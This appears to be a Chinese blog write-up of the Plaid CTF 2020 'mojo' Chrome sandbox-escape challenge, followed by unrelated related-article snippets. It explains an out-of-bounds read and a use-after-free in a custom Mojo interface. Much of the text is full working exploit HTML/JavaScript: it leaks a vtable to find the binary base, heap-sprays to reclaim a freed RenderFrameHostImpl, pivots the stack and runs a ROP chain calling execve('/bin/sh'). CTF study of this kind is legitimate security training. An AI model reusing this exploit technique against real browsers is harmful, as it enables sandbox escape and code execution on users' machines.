Chrome 沙箱逃逸 -- Plaid CTF 2020 mojo

news2025/1/22 8:35:54

文章目录

  • 前置知识
  • 参考文章
  • 环境搭建
    • 题目环境
    • 调试环境
  • 题目分析
    • 附件分析
    • 漏洞分析
      • OOB
      • UAF
  • 漏洞利用
  • 总结

前置知识

Mojo & Services 简介
chromium mojo 快速入门
Mojo docs
Intro to Mojo & Services

  • 译文:利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸
  • 原文:Cleanly Escaping the Chrome Sandbox

参考文章

本文主要参考 Plaid CTF 2020 mojo Writeup

环境搭建

题目环境

给了 docker 环境,所以直接启 docker 即可。

安装 docker

sudo snap install docker

运行 run.sh 脚本:

./run.sh

运行 chrome

./chrome --disable-gpu --remote-debugging-port=1338 --enable-blink-features=MojoJS,MojoJSTest url

调试环境

这里单独启一个 web 服务:

python3 -m http.server 8000

调试脚本:

# gdbinit
# 读取符号
file ./chrome
# 设置启动参数
set args --disable-gpu --remote-debugging-port=1338 --user-data-dir=./userdata --enable-blink-features=MojoJS url
# 设置执行fork后继续调试父进程
set follow-fork-mode parent

然后 gdb 调试即可:

gdb -x gdbinit

题目分析

附件分析

题目新定义了一个 PlaidStore 接口:

module blink.mojom;

// This interface provides a data store
interface PlaidStore {

  // Stores data in the data store
  StoreData(string key, array<uint8> data);

  // Gets data from the data store
  GetData(string key, uint32 count) => (array<uint8> data);
};

该接口定义了两个方法 StoreDataGetData 分别用于向 data store 中存储数据和获取数据。

然后在浏览器端实现 PlaidStore 接口:

namespace content {

class RenderFrameHost;

class PlaidStoreImpl : public blink::mojom::PlaidStore {
 public:
  explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);

  static void Create(
      RenderFrameHost* render_frame_host,
      mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);

  ~PlaidStoreImpl() override;

  // PlaidStore overrides:
  void StoreData(
      const std::string &key,
      const std::vector<uint8_t> &data) override;

  void GetData(
      const std::string &key,
      uint32_t count,
      GetDataCallback callback) override;

 private:
  RenderFrameHost* render_frame_host_;
  std::map<std::string, std::vector<uint8_t> > data_store_;
};

}

可以看到这里存在两个私有变量其中一个是 data_store_,这个好理解,其就是用来存储数据的;这里的 render_frame_host_ 是神马东西呢?

render 进程中的每一个 frame 都在 browser 进程中对应一个 RenderFrameHost,很多由浏览器提供的 mojo 接口就是通过 RenderFrameHoset 获取的。在 RenderFrameHost 初始化阶段,会在 BinderMap 中填充所有公开的 mojo 接口:

@@ -660,6 +662,10 @@ void PopulateFrameBinders(RenderFrameHostImpl* host,
   map->Add<blink::mojom::SerialService>(base::BindRepeating(
       &RenderFrameHostImpl::BindSerialService, base::Unretained(host)));
 #endif  // !defined(OS_ANDROID)
+
+  map->Add<blink::mojom::PlaidStore>(
+      base::BindRepeating(&RenderFrameHostImpl::CreatePlaidStore,
+                          base::Unretained(host)));
 }

当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其定义如下:

void RenderFrameHostImpl::CreatePlaidStore(
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  PlaidStoreImpl::Create(this, std::move(receiver));
}

其直接调用了 PlaidStoreImpl::Create 函数:

// static
void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
                              std::move(receiver));
}

通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定。

漏洞分析

该题存在两个漏洞,分别是 OOBUAF,接下来直接分别讲解。

OOB

来分析下存取数据的操作:

void PlaidStoreImpl::StoreData(
    const std::string &key,
    const std::vector<uint8_t> &data) {
  if (!render_frame_host_->IsRenderFrameLive()) {
    return;
  }
  data_store_[key] = data;
}

void PlaidStoreImpl::GetData(
    const std::string &key,
    uint32_t count,
    GetDataCallback callback) {
  if (!render_frame_host_->IsRenderFrameLive()) {
    std::move(callback).Run({});
    return;
  }
  auto it = data_store_.find(key);
  if (it == data_store_.end()) {
    std::move(callback).Run({});
    return;
  }
  std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);
  std::move(callback).Run(result);
}

可以看到两个操作都会先调用 render_frame_host_->IsRenderFrameLive 去检查 render frame 是否处于 live 状态。然后 StoreData 没啥问题,主要在于 GetData 函数没有对 count 字段做检查,所以这里可以导致越界读。

UAF

这里主要涉及到对象指针生命周期的问题。

在上面我们说过当一个 render frame 请求该接口时,在 BinderMap 中关联的回调函数 RenderFrameHostImpl::CreatePlaidStore 就会被调用,其最后会调用到 PlaidStoreImpl::Create 函数:

void PlaidStoreImpl::Create(
    RenderFrameHost *render_frame_host,
    mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
  mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),
                              std::move(receiver));
}

通过该函数,一个 PlaidStoreImpl 就被创建,并且该 PendingReceiver 与一个 SelfOwnedReceiver 绑定,也就是说这里会将消息管道的一段 receiverPlaidStoreImpl 绑定,而这里传入的 render_frame_host 是一个 PlaidStoreImpl 类型的智能指针。

由于这里的绑定,所以当 mojo 管道关闭或发生错误时,PlaidStoreImpl 就会被自动释放,从而使得 PlaidStoreImplreceiver 的生命周期保持一致,这其实是不存在问题的。

而在 PlaidStoreImpl 的构造函数中,存在对 render_frame_host 的赋值操作:

PlaidStoreImpl::PlaidStoreImpl(
    RenderFrameHost *render_frame_host)
    : render_frame_host_(render_frame_host) {}

可以看到在 PlaidStoreImpl 的构造函数中,将 render_frame_host 赋给了其私有属性 render_frame_host_。那么问题就来了,如果 render_frame_host 对象被析构了(比如删除 iframe),但是 PlaidStoreImpl 还存在(因为 render_frame_host 并没有与 PlaidStoreImpl 绑定),那么在 StoreData/GetData 中调用 render_frame_host_->IsRenderFrameLive() 就会存在 UAF 漏洞。

漏洞利用

整体是思路就比较明确了:

  • 利用 OOB 泄漏相关数据
  • 利用 UAF 劫持程序执行流

前期准备
调用 MojoJS 接口时,请包含以下 JS 文件(这里请根据具体题目路径进行包含):

<script src="mojo/public/js/mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>

然后进行管道端点绑定:

// 方案一
var ps = blink.mojom.PlaidStore.getRemote(true);
// 方案二
var ps = new blink.mojom.PlaidStorePtr(); // 获取 PlaidStore 实例
var name = blink.mojom.PlaidStore.name; // 获取 InterfaceName
var rq = mojo.makeRequest(ps);
Mojo.bindInterface(name, re.handle, "context", true);

调试分析
OOB 泄漏数据
首先是测试 OOB,主要是看下能够泄漏什么数据:

<html>
        <script src="mojo/public/js/mojo_bindings.js"></script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
        <script>

                function hexx(str, v) {
                        console.log("\033[32m[+] " + str + "\033[0m0x" + v.toString(16));
                }

                async function pwn() {
                        console.log("PWN");
                        //var ps = blink.mojom.PlaidStore.getRemote(true); // 这种方式断点断不下来???
                        var ps = new blink.mojom.PlaidStorePtr();
                        Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                mojo.makeRequest(ps).handle,
                                                "context", true);

                        await(ps.storeData("pwn", new Uint8Array(0x10).fill(0x41)));
                        var leak_data = (await(ps.getData("pwn", 0x20))).data;
                        var u8 = new Uint8Array(leak_data);
                        var u64 = new BigInt64Array(u8.buffer);
                }
                pwn();
        </script>
</html>

将断点打在 PlaidStoreImpl::Create 函数上,主要就是看下 PlaidStoreImpl 申请的空间:
在这里插入图片描述
可以看到这里 PlaidStoreImpl 的空间大小为 0x28,其成员依次往下为 vtablerender_frame_hostdata_store_
在这里插入图片描述
StoreData 执行完后:
在这里插入图片描述
可以看到,这里 PlaidStoreImpldata_store_data_vector 位于同一个段,所以这里可以通过越界读泄漏 PlaidStoreImplvtable 地址,并且还可以泄漏 render_frame_host_ 的地址,然后通过这些地址泄漏其它地址。比如可以通过 vtable 的地址确定 ELF 加载基地址:
在这里插入图片描述
泄漏了 ELF 基地址后,就可以得到很多有用的 gadget 了。

UAF 劫持程序执行流
有了 gadget 后,接下来就是考虑如何劫持 rip,这里的想法就是劫持虚表指针从而劫持程序执行流。

我们知道,每次调用 StoreData/GetData 时,都会先调用 render_frame_host_->IsRenderFrameLive,其是通过虚表指针进行调用的:
在这里插入图片描述
可以看到这里的 rax 就是 render_frame_host_ 的虚表地址,然后 [rax + 0x160] 就是 IsRenderFrameLive 函数的地址。

可以简单验证一下,可以看到当执行 call QWORD PTR[rax+0x160] 时,rax 确实是 render_frame_host_ 的虚表地址:
在这里插入图片描述
那么整个思路就比较清晰了:

  • 构造 render_frame_host_ UAF
  • 堆喷获取 UAF 堆块并伪造 render_frame_host_ 虚表
  • 调用 render_frame_host_->IsRenderFrameLive 控制程序执行流

这里 rax 寄存器的值就是 render_frame_host_ 的虚表地址,而其虚表地址我们是可控的(就在 render_frame_host_ 对象的头 8 字节处),而在 OOB 中我们又可以顺带泄漏 render_frame_host_ 的地址(其就在 PlaidStoreImpl 虚表的下方),所以我们可以利用 xchg rax, rspgadget 劫持栈到 render_frame_host_ 上,并提前在 render_frame_host_ 上布置好 rop chain 即可。

这里借用上述参考文章中佬的一张图:
在这里插入图片描述

在布局 gadget 前还有一个问题:我们该如何在释放 render_frame_host_ 所指向的内存之后,再将这块内存分配回来?这里有个小知识点,chrome 中的内存管理使用的是 TCMalloc 机制。又因为 StoreData 函数分配的vector<uint8_t>render_frame_host_ 使用的是同一个分配器,只要大量分配大小与 RenderFrameHostImpl 相等的vector,就有可能占位成功。

TCMalloc(Thread-Caching Malloc)实现了高效的多线程内存管理,用于替代系统的内存分配相关的函数 TCMalloc解密

所以我们现在得需要知道 RenderFrameHostImpl 的大小。将断点打在其构造函数 RenderFrameHostImpl::RenderFrameHostImpl 上:
在这里插入图片描述
可以看到,在执行构造函数前执行了 RenderFrameFactory::Create 函数,所以其多半就是为 RenderFrameHostImpl 分配空间的函数,重新将断点打在 RenderFrameHostFactory::Create 上:
在这里插入图片描述
所以这里多半就可以确认 RenderFrameHostImpl 的大小为 0xc28

这里照搬上述参考文章,也是比较重要的部分:
当我们创建一个 child iframe 并建立一个 PlaidStoreImpl 实例后。如果我们关闭这个 child iframe,则对应的RenderFrameHost 将会自动关闭;但与此同时,child iframe 所对应的 PlaidStoreImplbrowser 建立的 mojo 管道将会被断开。而该管道一但断开,则 PlaidStoreImpl 实例将会被析构。

因此,我们需要在关闭 child iframe 之前,将管道的 remote 端移交给 parent iframe,使得 child iframePlaidStoreImpl 实例在 iframe 关闭后仍然存活。

回想一下,正常情况下,当关闭一个 iframe 时,RenderFrameHost 将会被析构、mojo 管道将会被关闭。此时 Mojo 管道的关闭一定会带动 PlaidStoreImpl 的析构,这样就可以析构掉所有该析构的对象。

但这里却没有,因为在关闭 child iframe 前,已经将该 iframe 所持有的 Mojo 管道 Remote 端移交出去了,因此在关闭 child iframe 时将不会关闭 Mojo 管道。而 PlaidStoreImpl 的生命周期并没有与 RenderFrameHost 相关联。即 RenderFrameHost 的析构完全不影响 PlaidStoreImpl 实例的生命周期。所以,PlaidStoreImpl 实例将不会被析构。

那么,问题是,该如何移交 Mojo 管道的 remote 端呢?答案是:使用 MojoInterfaceInterceptor。该功能可以拦截来自同一进程中其他 iframeMojo.bindInterface 调用。在 child iframe 被销毁前,我们可以利用该功能将mojo 管道的一端传递给 parent iframe
以下是来自其他 exp 的相关代码,我们可以通过该代码片段来了解 MojoInterfaceInterceptor 的具体使用方式:

var kPwnInterfaceName = "pwn";

// runs in the child frame
function sendPtr() {
  var pipe = Mojo.createMessagePipe();
  // bind the InstalledAppProvider with the child rfh
  Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
    pipe.handle1, "context", true);

  // pass the endpoint handle to the parent frame
  Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}

// runs in the parent frame
function getFreedPtr() {
  return new Promise(function (resolve, reject) {
    var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash

    // intercept bindInterface calls for this process to accept the handle from the child
    let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
    interceptor.oninterfacerequest = function(e) {
      interceptor.stop();

      // bind and return the remote
      var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
      freeRFH(frame);
      resolve(provider_ptr);
    }
    interceptor.start();
  });
}

现在,我们已经解决了所有潜在的问题,UAF 的利用方式应该是这样的:

  • child iframeMojo 管道的 remote 端移交至 parent iframe,使得 Mojo 管道仍然保持连接
  • 释放 child iframe
  • 多次分配内存,使得分配到原先被释放 RenderFrameHostImpl 的内存区域
  • 写入目标数据
  • 执行 child iframe 对应的 PlaidStoreImpl::GetData 函数

不过需要注意的是,在该题中并不需要将 child iframeMojo 管道一端传递给 parent iframe 的操作。因为通过调试可知,child iframeremove 后,其所对应的 PlaidStoreImpl 实例仍然存在,并没有随着 Mojo pipe 的关闭而被析构

尚未明确具体原因,但这种情况却简化了漏洞利用的方式

最后简化后的利用方式如下:

  • 释放 child iframe
  • 多次分配内存,使得分配到原先被释放 RenderFrameHostImpl 的内存区域
  • 写入目标数据
  • 执行 child iframe 对应的 PlaidStoreImpl::GetData 函数

简单测试一下:

<html>
<head>
        <script src="mojo/public/js/mojo_bindings.js"></script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
        <script>
                async function pwn() {
                        var frame = document.createElement("iframe");
                        frame.srcdoc = `
                                <script src="mojo/public/js/mojo_bindings.js"><\/script>
                                <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
                                <script>
                                        var ps = new blink.mojom.PlaidStorePtr();
                                        Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                                mojo.makeRequest(ps).handle,
                                                                "context",true);
                                        ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));

                                        window.ps = ps;
                                <\/script>
                        `;

                        document.body.appendChild(frame);
                        frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
                                var ps = frame.contentWindow.ps;
                                if(ps == undefined || ps == 0) {
                                        throw "FAILED to load iframe";
                                }

                                var raw_buf = new ArrayBuffer(0xc28);
                                var fu8 = new Uint8Array(raw_buf).fill(0);
                                var fu64 = new BigUint64Array(raw_buf);
                                fu64[0] = 0xdeadbeefn;
                                var pps = new blink.mojom.PlaidStorePtr();
                                Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                        mojo.makeRequest(pps).handle,
                                                        "context",true);

                                document.body.removeChild(frame);
                                frame.remove();
                                for (let i = 0; i < 100; i++) {
                                        await pps.storeData("pwn" + i, fu8);
                                }
                                await ps.getData("pwn", 0);
                        });
                }
        </script>
</head>
<body onload = pwn()></body>

</html>

效果如下:
在这里插入图片描述
程序在 GetDataCrash,此时的 rax = 0xdeadbeef,符合预期。

最后的 exp 如下:

<html>
<head>
        <script src="mojo/public/js/mojo_bindings.js"></script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"></script>
        <script>
                function hexx(str, v) {
                        var elem = document.getElementById("#parentLog");
                        if(elem == undefined) {
                                elem = document.createElement("div");
                                document.body.appendChild(elem);
                        }
                        elem.innerText += '[+] ' + str + ': 0x' + v.toString(16) + '\n';
                }

                async function pwn() {
                        //var ps = blink.mojom.PlaidStore.getRemote(true);
                        var frame = document.createElement("iframe");
                        frame.srcdoc = `
        <script src="mojo/public/js/mojo_bindings.js"><\/script>
        <script src="third_party/blink/public/mojom/plaidstore/plaidstore.mojom.js"><\/script>
        <script>
                async function pwn() {
                        var ps_list = [];
                        for (let i = 0; i < 0x200; i++) {
                                let ps = new blink.mojom.PlaidStorePtr();
                                Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                        mojo.makeRequest(ps).handle,
                                                        "context", true);
                                await ps.storeData("pwn", new Uint8Array(0x20).fill(0x41));
                                ps_list.push(ps);
                        }

                        var elf_to_vtable = 0x9fb67a0n;
                        var vtable_addr = -1;
                        var render_frame_host_addr = -1;
                        for (let k = 0; k < 0x200; k++) {

                                let ps = ps_list[k];
                                let leak_data = (await ps.getData("pwn", 0x200)).data;
                                let u8 = new Uint8Array(leak_data);
                                let u64 = new BigInt64Array(u8.buffer);

                                for (let i = 0x20 / 8; i < u64.length - 1; i++) {
                                        if ((u64[i] & 0xfffn) == 0x7a0n && (u64[i] & 0xf00000000000n) == 0x500000000000n) {
                                                vtable_addr = u64[i];
                                                render_frame_host_addr = u64[i+1];
                                                break;
                                        }
                                        if (vtable_addr != -1) {
                                                break;
                                        }
                                }
                        }

                        if (vtable_addr == -1) {
                                hexx("FAILED to OOB vtable addr", -1);
                                throw "[X] FAILED to OOB vtable addr";
                        }

                        var elf_base = vtable_addr - elf_to_vtable;

                        window.ps = ps_list[0];
                        window.elf_base = elf_base;
                        window.render_frame_host_addr = render_frame_host_addr;
                }
        <\/script>
        `;
                        document.body.appendChild(frame);
                        frame.contentWindow.addEventListener("DOMContentLoaded", async () => {
                                await frame.contentWindow.pwn();
                                var ps = frame.contentWindow.ps;
                                var elf_base = frame.contentWindow.elf_base;
                                var render_frame_host_addr = frame.contentWindow.render_frame_host_addr;
                                if (ps == undefined || ps == 0) {
                                        throw "FAILED to load iframe";
                                }

                                var pop_rdi = elf_base + 0x0000000002e4630fn;
                                var pop_rsi = elf_base + 0x0000000002d278d2n;
                                var pop_rdx = elf_base + 0x0000000002e9998en;
                                var pop_rax = elf_base + 0x0000000002e651ddn;
                                var syscall = elf_base + 0x0000000002ef528dn;
                                var xchg_rax_rsp = elf_base + 0x000000000880dee8n; // xchg rax, rsp ; clc ; pop rbp ; ret

                                hexx("elf_base", elf_base);
                                hexx("render_frame_host_addr", render_frame_host_addr);
                                hexx("pop_rdi", pop_rdi);
                                hexx("pop_rsi", pop_rsi);
                                hexx("pop_rdx", pop_rdx);
                                hexx("pop_rax", pop_rax);
                                hexx("syscall", syscall);
                                hexx("xchg_rax_rsp", xchg_rax_rsp);

                                const RenderFrameHostSize = 0xc28;
                                var raw_buf = new ArrayBuffer(RenderFrameHostSize);
                                var fu8 = new Uint8Array(raw_buf).fill(0);
                                var fdv = new DataView(raw_buf);
                                var rop = new BigUint64Array(raw_buf, 0x10);

                                fdv.setBigInt64(0, render_frame_host_addr+0x10n, true);
                                fdv.setBigInt64(0x10+0x160, xchg_rax_rsp, true);
                                fdv.setBigInt64(0x10+0x160+0x8, 0x68732f6e69622fn, true);
                                rop[0] = 0xdeadbeefn; // rbp
                                rop[1] = pop_rdi;
                                rop[2] = render_frame_host_addr+0x178n;
                                rop[3] = pop_rsi;
                                rop[4] = 0n;
                                rop[5] = pop_rdx;
                                rop[6] = 0n;
                                rop[7] = pop_rax;
                                rop[8] = 59n;
                                rop[9] = syscall;

                                var pps = new blink.mojom.PlaidStorePtr();
                                Mojo.bindInterface(blink.mojom.PlaidStore.name,
                                                        mojo.makeRequest(pps).handle,
                                                        "context", true);

                                document.body.removeChild(frame);
                                frame.remove();
                                for (let i = 0; i < 100; i++) {
                                        await pps.storeData("pwn"+i, fu8);
                                }

                                await ps.getData("pwn", 0x20);
                        });
                }
        </script>
</head>
<body onload = pwn()></body>
</html>

效果如下:
在这里插入图片描述

总结

这个题目算是比较简单的沙箱逃逸了,但是还是搞了两天。主要的问题就是调试,比较奇怪的是如果 exp 中出现了一些错误,程序不会报错。比如我的 exp 最开始在赋值 BigInt 类型的数字时,忘记给 0 后面加上 n,然后 exp 就一直打不通,但是程序也不报错,所以这里发现这个 0n 问题,我就搞了一天…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1438251.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

『 C++ - STL 』unordered_xxx系列关联式容器及其封装(万字)

文章目录 &#x1f3a1; unordered系列关联式容器&#x1f3a1; 哈希表的改造&#x1f3a2; 节点的设置与总体框架&#x1f3a2; 迭代器的封装&#x1f3a0; 迭代器的框架&#x1f3a0; operator()运算符重载&#x1f3a0; 其余成员函数/运算符重载 &#x1f3a2; 迭代器begin(…

【iOS ARKit】人形提取

为解决人形分离和深度估计问题&#xff0c;ARKit 新增加了 Segmentation Buffer&#xff08;人体分隔缓冲区&#xff09;和Estimated Depth Data Buffer&#xff08;深度估计缓冲区&#xff09;两个缓冲区。人体分隔缓冲区作用类似于图形渲染管线中的 Stencil Buffer&#xff0…

数据结构第九天(堆排序)

目录 前言 概述 源码&#xff1a; 主函数&#xff1a; 运行结果&#xff1a; 其他 前言 哈哈&#xff0c;这个堆排序算法很久之前就已经敲过一遍了&#xff0c;时间一久&#xff0c;思路有点淡忘。今天重新看过一遍之后&#xff0c;又亲自撸代码&#xff0c;幸运的是&am…

python毕设选题 - 基于时间序列的股票预测于分析

文章目录 1 简介2 时间序列的由来2.1 四种模型的名称&#xff1a; 3 数据预览4 理论公式4.1 协方差4.2 相关系数4.3 scikit-learn计算相关性 5 金融数据的时序分析5.1 数据概况5.2 序列变化情况计算 最后 1 简介 Hi&#xff0c;大家好&#xff0c;今天向大家介绍一个大数据项目…

IEC 104电力规约详细解读(三) - 遥信

1.功能简述 遥信&#xff0c;、即状态量&#xff0c;是为了将断路器、隔离开关、中央信号等位置信号上送到监控后台的信息。遥信信息包括&#xff1a;反应电网运行拓扑方式的位置信息。如断路器状态、隔离开关状态&#xff1b;反应一次二次设备工作状况的运行信息&#xff0c;如…

位运算:进制

4982. 进制 - AcWing题库 给定两个整数 a,b 请你计算&#xff0c;在 [a,b] 范围内有多少个整数满足其二进制表示恰好有一个 0。 不考虑前导 0。 例如&#xff0c;当 a5,b10 时&#xff0c;[5,10]范围内的所有整数及其二进制表示如下&#xff1a; 可以看出&#xff0c;只有 5 和…

Python HTTP隧道在远程通信中的应用:穿越网络的“魔法门”

在这个数字化时代&#xff0c;远程通信就像是我们日常生活中的“魔法门”&#xff0c;让我们可以随时随地与远方的朋友、同事或服务器进行交流。而在这扇“魔法门”的背后&#xff0c;Python HTTP隧道技术发挥着举足轻重的作用。 想象一下&#xff0c;你坐在家里的沙发上&…

多维时序 | MATLAB实现基于CNN-LSSVM卷积神经网络-最小二乘支持向量机多变量时间序列预测

多维时序 | MATLAB实现基于CNN-LSSVM卷积神经网络-最小二乘支持向量机多变量时间序列预测 目录 多维时序 | MATLAB实现基于CNN-LSSVM卷积神经网络-最小二乘支持向量机多变量时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 1.MATLAB实现基于CNN-LSSVM卷积神经…

【知识图谱--第二讲知识图谱的表示】

知识图谱的表示 知识表示Knowledge Representation 知识表示方法知识图谱的符号表示基于图的知识表示与建模简单图建模-最简单的无向图有向标记图OWL与Ontology 知识图谱的向量表示 知识表示 Knowledge Representation 知识表示&#xff08;KR&#xff09;就是用易于计算机处…

【C语言】socket函数

一、socket函数函数的原型 int socket(int domain, int type, int protocol); 其中&#xff1a; domain参数指定套接字应该使用的协议族&#xff08;例如&#xff0c;AF_INET表示IPv4协议族&#xff09;。type参数指定套接字类型&#xff08;例如&#xff0c;SOCK_STREAM表示…

老是抓不准现货白银实时报价怎么办?

现货白银的实时报价是不断变动的&#xff0c;投资者要了解当下的现货白银实时走势&#xff0c;并且依靠对实时报价的分析预判未来的趋势&#xff0c;这是不容易的&#xff0c;但是不是不能做到呢&#xff1f;也不是。因为市场不是横盘就是趋势&#xff0c;只要有趋势&#xff0…

机器学习--K近邻算法,以及python中通过Scikit-learn库实现K近邻算法API使用技巧

文章目录 1.K-近邻算法思想2.K-近邻算法(KNN)概念3.电影类型分析4.KNN算法流程总结5.k近邻算法api初步使用机器学习库scikit-learn1 Scikit-learn工具介绍2.安装3.Scikit-learn包含的内容4.K-近邻算法API5.案例5.1 步骤分析5.2 代码过程 1.K-近邻算法思想 假如你有一天来到北京…

Django前后端分离之后端实践2

小实践&#xff1a;实现用户登录、注销及ORM管理功能、事务开启小实践 models.py class Books(models.Model):id models.CharField(primary_keyTrue,max_length20,verbose_name"图书ID")name models.CharField(max_length20,verbose_name图书名称)status models…

Spring如何扫描自定义的注解?

目录 一、Spring框架介绍 二、什么是自定义注解 三、如何扫描自定义的注解 一、Spring框架介绍 Spring框架是一个开源的Java应用程序框架&#xff0c;它提供了一种全面的编程和配置模型&#xff0c;用于构建现代化的企业级应用程序。Spring框架的核心原则是依赖注入&#x…

零基础学Python之面向对象

1.面向对象编程简介 &#xff08;1&#xff09;什么是面向对象 面向对象程序设计(Object Oriented Programming)作为一种新方法&#xff0c;其本质是以建立模型体现出来的抽象思维过程和面向对象的方法。模型是用来反映现实世界中事物特征的。任何一个模型都不可能反映客观事…

Java实现批量视频抽帧2.0

继上个版本 对其进行略微升级 &#x1f913; 上个版本仅对一个视频进行抽帧处理 此版本可对一个文件夹内的全部视频进行抽帧并对应的文件夹进行帧图片的保存 1️⃣配置pom.xml &#xff08;保持上次不变&#xff09; <dependencies><dependency><grou…

推理系统学习笔记

一些学习资料 最近对MLsys比较感兴趣&#xff0c;遂找些资料开始学习一下 https://fazzie-key.cool/2023/02/21/MLsys/https://qiankunli.github.io/2023/12/16/llm_inference.htmlhttps://dlsyscourse.orghttps://github.com/chenzomi12/DeepLearningSystem/tree/main/04Infe…

数智文旅:智慧文旅中的数字化转型

在数字化浪潮席卷全球的今天&#xff0c;旅游业作为传统服务业的代表&#xff0c;正面临着前所未有的转型压力与机遇。智慧文旅&#xff0c;作为旅游业与数字技术深度融合的产物&#xff0c;不仅标志着旅游业进入了全新的发展阶段&#xff0c;更预示着未来旅游业将朝着更加智能…

QAnything之BCEmbedding技术路线

QAnything和BCEmbedding简介 QAnything[github]是网易有道开源的检索增强生成式应用&#xff08;RAG&#xff09;项目&#xff0c;在有道许多商业产品实践中已经积累丰富的经验&#xff0c;比如有道速读和有道翻译。QAnything是一个支持任意格式文件或数据库的本地知识库问答系…

【开源】JAVA+Vue+SpringBoot实现公司货物订单管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 客户管理模块2.2 商品维护模块2.3 供应商管理模块2.4 订单管理模块 三、系统展示四、核心代码4.1 查询供应商信息4.2 新增商品信息4.3 查询客户信息4.4 新增订单信息4.5 添加跟进子订单 五、免责说明 一、摘要 1.1 项目…